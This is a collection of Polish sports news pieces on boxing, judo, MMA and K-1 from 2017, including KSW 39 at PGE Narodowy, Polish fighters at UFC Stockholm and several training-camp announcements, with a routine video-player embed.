Druga szansa Fonfary

Po raz drugi Andrzej Fonfara dostąpi szansy rywalizacji o pas mistrzowski WBC w wadze półciężkiej. Rywal ten sam, co trzy lata temu – Adonis Stevenson. Zdaniem bukmacherów, zdecydowanym faworytem starcia, które odbędzie się 3 czerwca jest niespełna 40-letni czempion.

„Polski Książę” ma jeden cel – chce zrewanżować się Kanadyjczykowi za porażkę sprzed trzech lat. Zwycięstwo da mu pas mistrza świata i pozwoli spełnić marzenia. Czy ten scenariusz jest realny?

Trudne zadanie

Montreal to miasto, w którym Stevenson czuje się znakomicie. Blisko cztery lata temu w Bell Center wywalczył mistrzostwo świata WBC pokonując Chada Dawsona. Reprezentant Kanady potężnie doświadczył Amerykanina, który padł na deski już w otwierającej rundzie. Wstał, jednak sędzia nie dopuścił go do dalszej rywalizacji. 

W trzeciej obronie pasa urodzony na Haiti bokser zmierzył się w Montrealu z Andrzejem Fonfarą. Wydawało się, że walka zakończy się bardzo szybko. Już w pierwszej rundzie Polak znalazł się na deskach, jednak wstał i dotarł do gongu. Długo dominował Stevenson, jednak w siódmej odsłonie inicjatywę przejął Fonfara. W końcu 26-letni wtedy pięściarz miał swoją chwilę chwały i postraszył czempiona. Stevenson padł na deski w dziewiątej rundzie, ale w kolejnych prezentował się lepiej i wygrał decyzją sędziów.

Po ponad trzech latach panowie ponownie się spotkają. Tak jak i wtedy, faworytem będzie Stevenson. Fonfara ma większe doświadczenie i wypracował sobie mocną pozycję w wadze półciężkiej. Mimo to, czempion jest pewny swego. – Znam dobrze Fonfarę, bo walczyłem z nim dwanaście rund. On nie umie zmienić stylu. Być może poprawił się w obronie, ale po kilku rundach wrócą stare nawyki. Nie lekceważę go i będę należycie przygotowany – powiedział Adonis Stevenson.

Trzy lata temu Kanadyjczyk swoją słabszą dyspozycję i problemy tłumaczył kontuzją pleców. Wygrał, choć młodszy Fonfara go zaskoczył. 3 czerwca w Montrealu Stevenson trafi na dojrzalszego i w pełni ukształtowanego rywala. Fonfara będzie chciał zrealizować swoje marzenia, ale od początku musi się mieć na baczności. Wejście w walkę niejednokrotnie sprawiło problemy Polakowi.

Niespodziewana porażka

Po porażce ze Stevensonem, Fonfara z kwitkiem odprawił mocnych Julio Cesara Jr. i Nathana Cleverly'ego. Zarysował nieco swój obraz niespodziewaną porażką w starciu z Joe Smithem Jr. Amerykanin w pierwszej rundzie mocno przyłożył Polakowi, który nie był zdolny do kontynuowania walki. W marcu „Polki Książę” uporał się z byłym mistrzem WBC Chadem Dawnsonem.

Z kolei Stevenson, od wygranej z Fonfarą, triumfował w czterech walki. Trzy z nich zakończył przed czasem.

Fot. Facebook Andrzej Fonfara

KM

Luboń zaliczony, czas na Bukareszt

W Luboniu judocy rywalizowali o medale Pucharu Polski seniorek i seniorów. Najlepiej zaprezentowali się zawodnicy AZS AWF Warszawa. W najbliższy weekend (3-4 czerwca) reprezentanci Polski udadzą się do Bukaresztu, aby rywalizować w zawodach Pucharu Świata.

Po mistrzostwach Europy w Warszawie, najważniejszym startem dla naszych judoków są mistrzostwa świata, które na przełomie sierpnia i września odbędą się w Budapeszcie. Dla biało-czerwonych najbliższe miesiące będą czasem intensywnej pracy.

Warszawa dominuje

Trzy warszawskie kluby (AZS AWF Warszawa, AZS UW Warszawa i UKJ „Lemur” Warszawa) zdobyły siedem złotych medali w zawodach Pucharu Świata w Luboniu. Łącznie stołeczne zespoły wywalczyły 15 krążków. Na ten dorobek dodatkowo złożyły się zdobycze zawodników Gwardii, UKJ „ASzWoj Warszawa” i UKJ 225. W klasyfikacji medalowej triumfował AZS AWF, którego judocy zdobyli cztery złote (Joanna Stankiewicz, Gaga Szetekauri, Radosław Koszczyński, Oleksii Lysenko) oraz brąz (Jakub Ozimek). 

W tym roku Piotr Kuczera triumfował w Pucharach Europy w Rzymie i Katowicach. Również Luboń okazał się szczęśliwy dla judoki KS Kejza Team Rybnik. W finale Kuczera pokonała Tomasza Szczepaniaka. Złote medale wywalczyły również wicemistrzynie Europy w drużynie Karolina Pieńkowska (52kg) oraz Anna Borowska (57kg). Idealny prezent na 18. urodziny sprawiła sobie Eliza Wróblewska (70kg), która w finale pokonała Julię Jaśkiewicz.

Wśród kobiet można narzekać na frekwencję, która w niektórych kategoriach była niska. W żadnej  na starcie nie pojawiło się więcej niż 10 zawodniczek! Zgoła odmiennie wyglądała sytuacja u panów. W trzech kategoriach startowało 20 i więcej judoków. Najwięcej w wadze do 73kg – 27.

Teraz Bukareszt

Po krajowych emocjach, czas na walkę o punkty do światowego rankingu. Tym razem nasza kadra uda się na Puchar Europy do Bukaresztu. Warto wspomnieć, że Polacy trenują już pod okiem nowych trenerów. Za przygotowanie kobiet odpowiada Marian Tałaj, zaś mężczyznami zajmuje się Zbigniew Pacholczyk. Pomagają im niedawna rywalizujący na tatami – Łukasz Błach i Paweł Zagrodnik.

Start w Bukareszcie jest jednym z etapów przygotowań do mistrzostw świata w Budapeszcie.

W kadrze na Puchar Świata (3-4 czerwca) znaleźli się m.in.: Joanna Stankiewicz (48kg), Katarzyna Wiszniewska i Agata Perenc (52kg), Urszula Hofman (70kg), Beata Pacut i Paula Kułaga (78kg), Aleksander Beta (66kg), Wiktor Mrówczyński (73kg), Damian Szwarnowiecki, Jakub Kubieniec i Karol Kurzej (81kg), Patryk Ciechomski (90kg), Mariusz Krueger i Tomasz Domański (100kg), Maciej Sarnacki i Kamil Grabowski (+100kg).

KM

LIVE: Granda PRO 4 – Arena Wojowników

Zapraszamy na transmisję telewizyjną z Gali Granda PRO 4 – Arena Wojowników, która odbędzie się 9 czerwca 2017 na warszawskim Torwarze. Start transmisji od godz. 20.00.

[kod]

Gala Granda PRO 4 – Arena Wojowników

Granda PRO 4 – Arena Wojowników

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPRO3.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPRO3.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPRO3.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPRO3.livx"
},
autofocus: false,
rendererPriority: ["dash", "html5", "silverlight"],
skin: "red",
// —
splashscreen: "http://r.dcs.redcdn.pl/file/o2/Marklaw/LegiaFightClub/GP4.jpg",
poster: "http://r.dcs.redcdn.pl/file/o2/Marklaw/LegiaFightClub/GP4.jpg",
autoplay: false,
// —

width: 640,
height: 385,
autoplay: false,
});

Joanna Jędrzejczyk na obozie treningowym LFN Team!

Po zwycięskim pojedynku w Dallas i kolejnej obronie pasa mistrzowskiego, najlepsza na świecie polska zawodniczka MMA wróciła do kraju i w połowie czerwca weźmie udział w obozie sparingowym Ladies Fight Night – JJCamp. Joanna Jędrzejczyk poprowadzi treningi najzdolniejszych polskich fighterek jedynej w Europie żeńskiej organizacji sportów walki, otwierające przygotowania do kolejnej gali LFN. Treningi w Łodzi będą także okazją do spotkania „oko w oko” z przeciwniczką, z którą Asia debiutowała w MMA. 

JJCamp w Łodzi

Obóz sparingowy LFN Team już po raz drugi odbędzie się w Łodzi, gdzie w 2015 roku powstał projekt Ladies Fight Night. W dniach 15-18 czerwca, zawodniczki żeńskiej organizacji będą trenowały w Fight Club Łódź, szlifując formę przed kolejną galą LFN. Mocnym akcentem sportowym obozu będą treningi z Mistrzynią Świata MMA Joanną Jędrzejczyk.

– JJCamp i współpraca z Asią to konsekwentne dążenie do zapewnienia naszym zawodniczkom tego co najlepsze. Cieszymy się, że dziewczyny z LFN Team będą mogły wymienić doświadczenia sportowe z najlepszą zawodniczką MMA na świecie. – mówi Łukasz Chmal, prezes organizacji Ladies Fight Night. – Zaplanowaliśmy cztery wspólne sesje treningowe, dwie w piątek i kolejne w sobotę. Wierzymy, że zaowocuje to jeszcze wyższym poziomem sportowym naszych gal i świetnymi walkami dziewczyn w klatkoringu. – dodaje Łukasz Chmal.

""Spotkanie po latach Jędrzejczyk vs Juśkiewicz

Joanna Jędrzejczyk debiutowała w zawodowym pojedynku MMA 19 maja 2012 roku. Jej przeciwniczką była również debiutantka, dziś zawodniczka LFN Team, Sylwia Juśkiewicz. Po dwurundowej walce sędziowie orzekli wtedy zwycięstwo na punkty obecnej Mistrzyni Świata. Po pięciu latach Joanna Jędrzejczyk i Sylwia Juśkiewicz znów będą miały okazję spotkać się w kalatkoringu, tym razem podczas sesji treningowych. Od czasu debiutu Sylwia „Mała” Juśkiewicz  (6-4) stoczyła 9 pojedynków w MMA. Podczas ostatniej gali Ladies Fight Night „Five Points” w Poznaniu, „Mała” dała widowiskowy popis swoich umiejętności, pewnie pokonując swoją rywalkę z Ukrainy. Sama o sobie mówi, że chce być najlepsza, a pojedynek z Jędrzejczyk przegrała tylko jednym punktem. 

Gala Ladies Fight Night „IRA” w sierpniu 

Obóz treningowy w Łodzi rozpocznie przygotowania do szóstej gali organizacji Ladies Fight Night zatytułowanej „Ira”, co  po łacinie znaczy „gniew”. Po udanych organizacyjnie i sportowo eventach w Łodzi, Warszawie, Karpaczu i Poznaniu włodarze zapowiadają teraz letnie spotkanie z fanami kobiecego MMA i K-1 nad morzem. Gala planowana jest na drugą połowę sierpnia.

""Za ideą stworzenia Ladies Fight Night, pierwszej w Europie żeńskiej organizacji sportów walki, stało przeświadczenie włodarzy o konieczności dania kobietom pola do występów – szerszego niż tylko incydentalne pojedynki na galach w Polsce. – Taka sytuacja jeszcze dwa lata temu, powodowała, że większość utalentowanych sportowo dziewcząt – takich jak Joanna Jędrzejczyk – musiało szukać szczęścia za granicą. Dziś mogą zdobywać doświadczenie w kraju. – mówi Łukasz Chmal.

Ladies Fight Night

FEN Summer Camp: trenuj z gwiazdami MMA i K-1

Już tego lata federacja Fight Exclusive Night zorganizuje pierwszy w swojej historii obóz treningowy dla młodych adeptów MMA i K-1. Pod koniec sierpnia na Mazurach szkolić ich będą czołowi zawodnicy FEN Kamil Łebkowski i Arkadiusz Wrzosek oraz znakomici trenerzy Igor Kołacin i Krzysztof Drzazgowski.

FEN Summer Camp odbędzie się w dniach 20-28 sierpnia w Jakubowie koło Mrągowa, w ośrodku sportowym doskonale przystosowanym do treningów mieszanych sztuk walki i kick-boxingu. Mimo wakacyjnej pory jego uczestników, podzielonych na dwie grupy: MMA i K-1, czekają bardzo intensywne zajęcia. Codziennie przewidziane są 2-3 treningi, rozpisane w taki sposób, aby każdy z obozowiczów mógł do maksimum skorzystać z wiedzy i doświadczenia prowadzących.

Treningi poprowadzą znakomici szkoleniowcy: weteran sportów walki Igor Kołacin, były zawodowy mistrz Europy w sanda i zdobywca Pucharu Świata w karate full-contact, który od lat z powodzeniem szkoli czołówkę polskich kickbokserów, oraz Krzysztof Drzagowski, trener boksu znany ze współpracy z wieloma zawodowymi pięściarzami, m.in. Mariuszem Wachem i Ewą Brodnicką. Tajemnice swojego warsztatu uczestnikom FEN Summer Camp zdradzać będą też gwiazdy federacji FEN: Kamil Łebkowski, jeden z najlepszych zawodników MMA wagi piórkowej w Europie, oraz Arkadiusz Wrzosek, aktualny mistrz świata K-1 Global i mistrz Europy w muay thai.

Obóz w Jakubowie odwiedzą również goście, wśród których nie zabraknie innych wojowników MMA i K-1, związanych z organizacją FEN. Na Mazurach pojawią się także podopieczni trenera Drzazgowskiego, zawodowi bokserzy Norbert „Noras” Dąbrowski i Sergei Werwejko. Ponadto przez cały czas trwania obozu trenujących zawodników uważnie obserwować będą włodarze Fight Exclusive Night, będzie to więc dla każdego niepowtarzalna szansa zaprezentowania swego talentu i umiejętności, która może zaowocować propozycją występu na jednej z kolejnych gal tej federacji.

Koszt uczestnictwa w obozie do 30 czerwca wynosi 1350 zł, po tym terminie cena wzrośnie do 1500 zł. W tej kwocie zawiera się zakwaterowanie w domkach letniskowych lub pokojach hotelowych z pełnym węzłem sanitarnym, 3 posiłki dziennie w formie bufetu szwedzkiego, 2-3 treningi każdego dnia oraz ubezpieczenie. Podczas obozu rozegrany zostanie turniej obejmujący kilka konkurencji sprawnościowych, na którego zwycięzców czekają nagrody ufundowane przez sponsorów i partnerów projektu FEN Summer Camp. Dojazd na obóz we własnym zakresie – istnieje możliwość wcześniejszego skontaktowania uczestników, którzy będą jechać z tych samych okolic, w celu wspólnego przyjazdu samochodem.

Więcej informacji oraz zapisy na obóz u koordynatora FEN Summer Camp Igora Kołacina pod nr  tel. 574 198 934 lub adresem mailowym i.kolacin@fen-mma.com.

FEN 17 Baltic Storm: official aftermovie

12 maja w klatce FEN w Gdynia Arena nie brakowało emocji: były szybkie nokauty i poddania oraz ciężkie walki do ostatniej sekundy, pewne triumfy faworytów oraz zaskakujące zwycięstwa skazanych na pożarcie… Zapraszamy do obejrzenia oficjalnego filmowego podsumowania gali FEN 17 Baltic Storm!

[kod]

Trzecia porażka Helda

Wszystko układało się po myśli Marcina Helda, ale w trzeciej rundzie Damir Hadzović brutalnie zaskoczył 25-latka. Gala UFC Fight Night 109 w Sztokholmie nie była udana dla Polaków. Drugą porażkę w amerykańskiej organizacji zanotował Damian Stasiak.

„Do trzech razy sztuka” – Marcin Held czekał na pierwsze zwycięstwo w UFC. Nie udało się. Kolejna porażka i pytanie, czy Polak dostanie jeszcze jedną szansę.

Kolano Hadzovicia

Porażka w debiucie z Diego Sanchezem, później wyrównany bój z Joe Lauzonem i kontrowersyjna decyzja sędziów, którzy wskazali na Amerykanina. W starciu z Damirem Hadzoviciem Polak miał się zrehabilitować za wcześniejsze niepowodzenia.

W Sztokholmie wszystko układało się po myśli 25-latka. Bośniak starał się straszyć Polaka kopnięciami, jednak ten szukał parteru. Held zapisał na swoim koncie kilka udanych obaleń. Męczył Hadzovicia, ale ten przetrwał napór rywala. W trzeciej rundzie Held ponownie ruszył po nogi Bośniaka i nadział się na kolano. Padł na deski, sędzia przerwał pojedynek. 

Polski fighter zanotował trzecią porażkę w UFC. Nie tak wyobrażał sobie przygodę z amerykańską organizacją. – Jest mi strasznie wstyd. Nie wiem czy to dobre słowo, ale nie umiem znaleźć innego na opisanie tego co czuje. Jest to moja trzecia przegrana w UFC. Nie tak wyobrażaliśmy sobie wszyscy tą drogę, ale taki jest fakt. Poprzednio zostałem niesprawiedliwie potraktowany i otwarcie mówiłem, że tą walkę chce skończyć przed czasem. Ciężko trenowałem, by tym razem nie zawiodła ani kondycja ani technika. Zawiodło… – napisał na swoim fanpage'u Marcin Held. – Bardzo wierzyłem, że tym razem przełamie pecha, że tym razem będzie zwycięstwo. Na pewno zrobię trochę przerwy, potem wrócę i będę zapieprzał. Nie poddam się choćby się waliło i paliło – dodał

Obecnie były pretendent do pasa wagi lekkiej organizacji Bellator przebywa w szpitalu. Tomografia głowy nie wykazała nic groźnego.

Munhoz za mocny

Damian Stasiak wygrał dwie ostatnie walki w UFC przed czasem. W Sztokholmie trafił na mocnego Pedro Munhoza, który większość swoich walk kończył przez poddanie. 

Polak nie przestraszył się mocnego rywala. W pierwszej rundzie dochodziło do wyrównanych wymian w stójce. Stasiak cały czas szukał swojej szansy, jednak Brazylijczyk był uważny. Trzecia runda to kolejne rzuty Munhoza. Stasiak bronił się, rywal nie zrobił mu krzywdy, ale w oczach sędziów lepszy był zawodnik z Kraju Kawy.

W walce wieczoru Alexander Gustafsson znokautował w piątej rundzie Glovera Teixeirę.

Fot. Facebook Marcin Held

KM

Historia w innym wymiarze

Gala KSW 39: Colosseum na stadionie PGE Narodowy w Warszawie na długo pozostanie w pamięci kibiców. To przełomowe wydarzenie w historii MMA.

Główni aktorzy KSW 39 dołożyli wszelkich starań, aby dostarczyć widzom wrażeń najwyższych lotów. Gwizdy pożegnały zwycięzcę walki wieczoru Mameda Khalidova, który wygrał decyzją sędziów, jednak publiczność była odmiennego zdania.

Mamed Wielki

Gwiazdor KSW, mistrz wagi średniej kontynuuje fantastyczną passę. Blisko 37-letni fighter wygrał 14 walkę z rzędu. Co warto podkreślić, w KSW nie zanotował żadnej porażki! Na PGE Narodowym przyszło mu rywalizować z mistrzem wagi półśredniej Borysem Mańkowskim. Khalidov starał się unikać parteru, prowadził pojedynek w stójce. Wyprowadził kilka groźnych kopnięć, a Mańkowski starał się go zaskoczyć potężnymi ciosami. Sędziowie wskazali na Khalidova, na co publiczność zareagowała gwizdami. Gwiazdor KSW  szybko opuścił arenę walki.

W niedzielę Khalidov zamieścił nagranie na facebooku, w którym podziękował wszystkim za wsparcie. – Chciałem podziękować przede wszystkim tym ludziom, którzy pomagali mi podczas przygotowań. Moim trenerom, klubowi, całemu sztabowi, który składa się z dietetyków, catheringu itd. Tym wszystkim, którzy dołożyli się do przygotowań, chciałem podziękować z całego serca – mówił Mamed Khalidov. – Również chciałem bardzo podziękować moim kibicom, ogólnie kibicom MMA, którzy oglądali galę w telewizji i tym będącym na żywo na stadionie. Dziękuję wam bardzo za wsparcie – dodawał.

Nowi mistrzowie

Szybko z pasem w wadze ciężkiej rozstał się Fernando Rodriguez Jr. Brazylijczyk bez zbędnych kalkulacji ruszył na Marcina Różalskiego. „Różal” zachował zimą krew, zebrał w sobie ponadziemskie siły i wyprowadził dwa potężne sierpowe. Grzmoty spadły na szczękę Brazylijczyka, który po 16 sekundach padł na deski. 

Pół roku temu Marcin Wrzosek pokonał Artura Sowińskiego i cieszył się ze zdobycia tytułu w wadze piórkowej. W pierwszej obronie pasa rywalem Polaka był Kleber Koike Erbst. Reprezentant Japonii na wcześniejszych galach KSW pokazał, że potrafi walczyć efektownie. W Warszawie udowodnił swoje wysokie umiejętności parterowe i wygrał na punkty, co dało mu pas.

Pierwszą w historii mistrzynią KSW w kategorii muszej została Ariane Lipski. Pod koniec premierowej odsłony Brazylijka założyła rywalce dźwignię na łokieć. Diana Belbita musiała odklepać.

Bez zmian

Mateusz Gamrot nadal niepokonany. Mistrz wagi lekkiej pokonał na punkty Normana Parke'a. Z kolei Tomasz Narkun po raz trzeci bronił tytułu w kategorii półciężkiej. Ponownie triumfował przed czasem. Zaledwie sekundę przed końcem pierwszej rundy Narkun udusił nogami Marcina Wójcika.

Efektowny debiut

Coraz więcej zawodników decyduje się wykorzystać swoje umiejętności w walkach na zasadach MMA. Choć odnoszą sukcesy w innych dyscyplinach, chcą uczestniczyć w wielkich widowiskach, a zarazem walczyć o najwyższe laury i wysokie gaże. Na PGE Narodowym pierwszą walkę w MMA stoczył Damian Janikowski. Brązowy medalista olimpijski z Londynu w zapasach rozprawił się szybko z Julio Gerardo Gallegosem. Najpierw trafił rywala kolanem, a potem wystrzelił w jego stronę kolejne ciosy. Następnie Janikowski efektownie cieszył się ze zwycięstwa.

Nie rozbił arbuza

Przed KSW 39 Robert Burneika porównywał głowę Popka do arbuza i zapowiadał, że ją rozbije. Obaj mieli stworzyć show. Nikt nie spodziewał się wielkiego sportowego widowiska, lecz prawdziwej wojny i niezliczonej liczby ciosów. Trafień nie było zbyt wiele. Popek Monster przyłożył raz a porządnie, po czym Burneika upadł. Raper nie zmarnował okazji i odniósł pierwsze zwycięstwo w KSW.

Udany powrót

Z KSW związany od zawsze, jednak ostatnio jako komentator. Tym razem Łukasz Jurkowski zaprezentował się w klatce. Po sześciu latach „Juras” ponownie zaprezentował się na gali KSW. Rywalem 36-latka był doskonale znany polskiego publiczności Rameau Thierry Sokoudjou. Mający za sobą występy w Pride, UFC i Bellatorze zawodnik stoczył swoją czwartą walkę w KSW. Sokoudjou zanotował trzecią porażkę. W trakcie pojedynku zranił „Jurasa”, który zaczął krwawić, jednak Jurkowski nie poddał się. Cały czas był aktywny, co docenili sędziowie, którzy niejednogłośnie wskazali na Polaka.

W pojedynku byłych strongmanów triumfował Mariusz Pudzianowski. Ostra wymiana ciosów zakończyła się w drugiej rundzie. Tyberiusz Kowalczyk padł na matę, a „Pudzian” trafił rywala łokciem, po czym ten odklepał.

Nieco ponad minutę na zwycięstwo potrzebował Michał Andryszak. Słynący z efektownych walk zawodnik w pierwszej rundzie wygrał przez gilotynę z Michałem Kitą.

Na pierwszym planie

Polska uwiedziona MMA, Europa zaszokowana, Martin Lewandowski i Maciej Kawulski triumfują. Ich produkt trafił w gusta odbiorców. Na PGE Narodowym zasiadło ponad 56 tysięcy widzów.

Nie raz na stadionach piłkarskich organizowano wielkie gale bokserskie. Nie trzeba daleko szukać – kwietniowa rywalizacja o panowanie w wadze ciężkiej pomiędzy Anthonym Joshuą a Władimirem Kliczko. MMA bez pardonu weszło na salony. Widzowie potrzebują efektownych walk, potężnych ciosów, zwrotów akcji i ogromnej dramaturgii. Właściciele KSW doskonale to rozumieją, dlatego też starają się dostarczyć kibicom tego, czego ci oczekują.

KSW 39: Colosseum to sukces i przełamanie kolejnych barier. Jednak teraz wszyscy będą mieli w pamięci majowe wydarzenie. Nie zabraknie porównań kolejnych gal do KSW 39. Lewandowski i Kawulski będą musieli wspiąć się na wyżyny, aby dostarczyć rozrywki najwyższych lotów i usatysfakcjonować publikę. Było Wembley, był PGE Narodowy, co dalej? Zapewne ciąg dalszy nastąpi.

KM

Held czeka na premierowe zwycięstwo w UFC

Przed Marcinem Heldem trzecia walka w UFC. 28 maja na gali w Sztokholmie rywalem 25-latka będzie Damir Hadzovic. W stolicy Szwecji zaprezentuje się również Damian Stasiak.

Zupełnie inaczej miała wyglądać przygoda Marcina Helda z najlepszą organizacją MMA na świecie. Po dwóch porażkach sytuacja polskiego zawodnika wagi lekkiej nie wygląda kolorowo.

Liczy się zwycięstwo

Marcin Held to ogromny talent i wielka nadzieja polskiego MMA. Zawojował Bellatora, w którym dostąpił zaszczytu rywalizacji o mistrzostwo wagi lekkiej. Przegrał ze starym lisem Willem Brooksem, ale zaprezentował się z dobrej strony. Już wcześniej mówiło się, że Polak wyląduje w UFC. Rok po walce z Brooksem tak się stało. 

Jednak początki Helda w UFC nie należą do najlepszych. W pierwszej walce przegrał z Diego Sanchezem, ale w takich sytuacjach mówi się „pierwsze koty za płoty”. W styczniu w Phoenix Polak zmierzył się z Joe Lauzonem. Sędziowie niejednogłośnie wskazali na rywala, co wywołało spore kontrowersje. Przez większość pojedynku Held kontrolował sytuację, dobrze prezentował się w stójce, a w drugiej rundzie zaliczył kilka obaleń. Jeden sędzia punktował trzy rundy na korzyść Polaka, nawet sam Lauzon przyznał, że zwycięstwo należy się byłemu pretendentowi do tytułu mistrzowskiego Bellatora. Stało się inaczej. Nie ma, co płakać, lecz trzeba szykować się na Hadzovicia.

30-letni Bośniak stawia pierwsze kroki w UFC. W kwietniu przegrał przez nokaut w pierwszej rundzie z Mairbekiem Taisumovem. Wcześniej zanotował sześć zwycięstw na galach takich organizacji jak WKN czy CWFC. Co ciekawe, ponad pięć lat temu Hadzovic przegrał walkę z Krzysztofem Jotko. Czy Held pójdzie w ślady rodaka? Oby. – Przygotowania do mojej kolejnej walki przebiegły bardzo dobrze. Tak jak obiecywałem – przygotowywałem się najlepiej jak potrafiłem. Zrobiłem wszystko co mogłem by być w świetnej formie. Mam nadzieje, że tym razem wszystko pójdzie po mojej myśli. W te ostatnie dni do walki zostały już tylko luźne treningi, zrzucanie wagi i odpoczynek – poinformował Marcin Held za pośrednictwem facebooka.

Walka Polaka z Hadzoviciem otworzy galę UFC Fight Night 109, która odbędzie się 28 maja w Sztokholmie.

Po trzecie zwycięstwo

W stolicy Szwecji zaprezentuje się również Damian Stasiak. Zawodnik wagi koguciej stoczy swoją czwartą walkę w UFC. Dotychczas zanotował dwa zwycięstwa, ale o trzecie może być bardzo trudno. W Sztokholmie Polak zmierzy się z Pedro Munhozem, który jest niezwykle niebezpieczny. Aż 8 z 13 walk wygrał przez poddanie. W ubiegłym roku na galach UFC rozłożył na łopatki Justina Scogginsa i Russella Doane'a.

Na gali UFC Fight Night 109 zaprezentuje się urodzony w Zabrzu Petter Sobotta. Rywalem 30-latka będzie Ben Saunders. W walce wieczoru wystąpią: Alexander Gustafsson i Glover Teixeira.

KM

Gladiatorzy KSW na PGE Narodowym

KSW wyprowadza potężny cios, po którym wszyscy znajdą się w siódmym niebie. Federacja Martina Lewandowskiego i Macieja Kawulskiego chce stworzyć ponadepokowe widowisko. Taka ma być właśnie gala KSW 39: Colosseum, która odbędzie się już w sobotę (27 maja) na stadionie PGE Narodowy w Warszawie.

Plejada gwiazd, czołowi polscy zawodnicy i pięć walk o pasy mistrzowskie federacji KSW. A wszystko w warszawskim Colosseum. Wspaniała podróż w czasy gladiatorów. „Chcecie igrzysk, to macie” – zdaje się mówić KSW.

Gladiatorzy w akcji

Otoczka wydarzenia jest imponująca. Wszystko wydaje się dopracowane i przemyślane. Zawodnicy stylizowani na gladiatorów, gorąca atmosfera, tworzenie aury wyjątkowości. Wiadomo już, że gala KSW 39 pobije rekord świata frekwencji na zawodach MMA. Polska organizacja sprzedała ponad 56 tysięcy wejściówek na sobotnie wydarzenie.

Martin Lewandowski i Maciej Kawulski nie kalkulują. Postanowili, że w Warszawie wystawią najcięższe działa. W walce wieczoru zaprezentują się mistrzowie wagi średniej i półśredniej, czyli Mamed Kahlidov i Borys Mańkowski. 36-latek urodzony w Groznym nie przegrał od czternastu walk, a łącznie ma na koncie 33 zwycięstwa. Dla wielu jest żywą legendą KSW. Czy w Warszawie przekaże pierwszeństwo Mańkowskiemu? Z roku na rok „Diabeł Tasmański” robi postępy i ciągle gna do przodu. Całkowicie zdominował wagę półśrednią i trzy razy skutecznie bronił mistrzowskiego pasa. Czy udźwignie ciężar rywalizacji w Warszawie? Wydaje się, że dla Mańkowskiego to ogromna szansa, a zarazem presja. Może stać się numerem 1 KSW. Khalidov zrobił już na tyle dużo, że jego pozycja nie jest zagrożona. Dodatkowo kończy mu się kontrakt z KSW i nie wiadomo, jakie decyzje podejmie sam zawodnik.

Na stadionie PGE Narodowy dojdzie do pięciu pojedynków mistrzowskich. Po raz pierwszy tytułu w wadze ciężkiej będzie bronił Fernando Rodrigues Jr., który pas wywalczył w grudniu 2016 roku pokonując Karola Bedorfa. Jego rywalem będzie charyzmatyczny i waleczny Marcin Różalski. Do trzeciej obrony pasa wagi półciężkiej stanie Tomasz Narkun. 27-latek zmierzy się z Marcinem Wójcikiem, z którym nie ma przyjacielskich relacji. Mateusz Gamrot idzie jak burza i należy do najlepszych zawodników KSW. Rok temu świętował zdobycie pasa w wadze lekkiej w Trójmieście. W Warszawie dobrą passę Polaka postara się przerwać Norman Parke, który ma za sobą występy w UFC. Pierwszy raz tytułu mistrzowskiego w wadze piórkowej będzie bronił Marcin Wrzosek. Polak stanie przed trudnym zadaniem. Kleber Koike Erbst pokazał, że potrafi być zabójczo skuteczny. W Warszawie na szali pojawi się pas KSW w wadze muszej kobiet. Walka będzie historyczna, bo zwyciężczyni zostanie pierwszą mistrzynią. W pojedynku o pas zmierzą się Ariane Lipski i Diana Belbita.

Na stadionie PGE Narodowym debiut w MMA zaliczył brązowy medalista olimpijski w zapasach z Londynu Damian Janikowski. Po ponad sześciu latach do rywalizacji wraca Łukasz Jurkowski. 
Rywalem „Jurasa” będzie doskonale znany polskiej publiczności Rameau Thierry Sokoudjou. Ciekawie zapowiada się konfrontacja dwóch potworów, czyli Popka Monstera i Roberta Burneiki. W Warszawie spotkają się również byli strongmani. Większym doświadczeniem w MMA legitymuje się Mariusz Pudzianowski, ale Tyberiusz Kowalczyk nie ma zamiaru odpuszczać.

Nowy rozdział historii

KSW przeszła ogromną przemianę i pisze historię polskiego MMA. Można powiedzieć, że organizacja wprowadza kibiców na ponadgalaktyczny poziom widowiska sportowego. Jednak zawsze z tyłu głowy pojawia się myślę, że „z wielkiej chmury mały deszcz”. Jak będzie? O tym przekonamy się 27 maja.

Warto podkreślić, że przez trzynaście lat KSW zrobiło swego rodzaju krok cywilizacyjny. W 2004 roku organizacja zaczynała działalność i pierwszą galę przygotowała w warszawskiej restauracji Champions. Przez kolejne lata podbijała kolejne polskie miasta i trafiła na usta kibiców sportów walki, aż dotarła do świadomości całego społeczeństwa. 

KM

Powrót Szpilki, walka z Kownackim potwierdzona

Można powiedzieć, że w końcu Artur Szpilka stoczy swoją 23 walkę w karierze. Pięściarz urodzony w Wieliczce czeka na pojedynek już blisko półtora roku. 15 lipca na gali Premier Boxing Champions na Ling Island „Szpila” zmierzy się z Adamem Kownackim.

Szpilka zdążył już zatęsknić za boksem. Ciężko trenował, bo  w planach miał walkę z Dominikiem Breazeale'm, jednak los nie sprzyjał Polakowi.

Wygrać z Kownackim

Ostatni raz Szpilka rywalizował 16 stycznia 2016 roku w Barclays Center. W dziewiątej rundzie Deontay Wilder posłał go na deski i obronił pas WBC. Półtoraroczna przerwa nie posłużyła Szpilce, który znalazł się poza rankingami znaczących organizacji. W lutym miał walczyć z Breazeale'm, jednak pojedynek odwołano. Wśród potencjalnych rywali Szpilki wymieniano Krzysztofa Zimnocha i Adama Kownackiego. Z tym ostatnim był nawet „po słowie”, jednak walczący w Stanach Zjednoczonych bokser w ostatniej chwili wycofał się z powodu kłopotów zdrowotnych. Ostatnio temat starcia „Szpili” z Kownackim wrócił jak bumerang. Były pretendent do pasa WBC w wadze ciężkiej podchodził sceptycznie do tej możliwości. Pisaliśmy o tym tu

Sprawa potoczyła się błyskawicznie. Wszystko jest już dopięte na ostatni guzik. 15 lipca Szpilka zmierzy się z Kownackim. – Cieszę się bardzo. Długo to wszystko trwało, ale najważniejsze było dla mnie, żeby mi zagwarantowali w kontrakcie, że nie daj Boże Adama rozboli ząbek kolejny raz, to będę miał walkę z kimś innym na tej samej gali. Jestem w ciężkim treningu rok czasu. Dwie walki przełożone. Z tej nieaktywności wypadłem z rankingów. Także żaden z zawodników z czołówki nie chce ze mną walczyć, bo jest to dla niego walka ryzykowna. Breazeale chciał walczyć przed walką z Izu, ale potem poszedł w rankingach w górę i czeka na swój złoty strzał – powiedział Artur Szpilka.

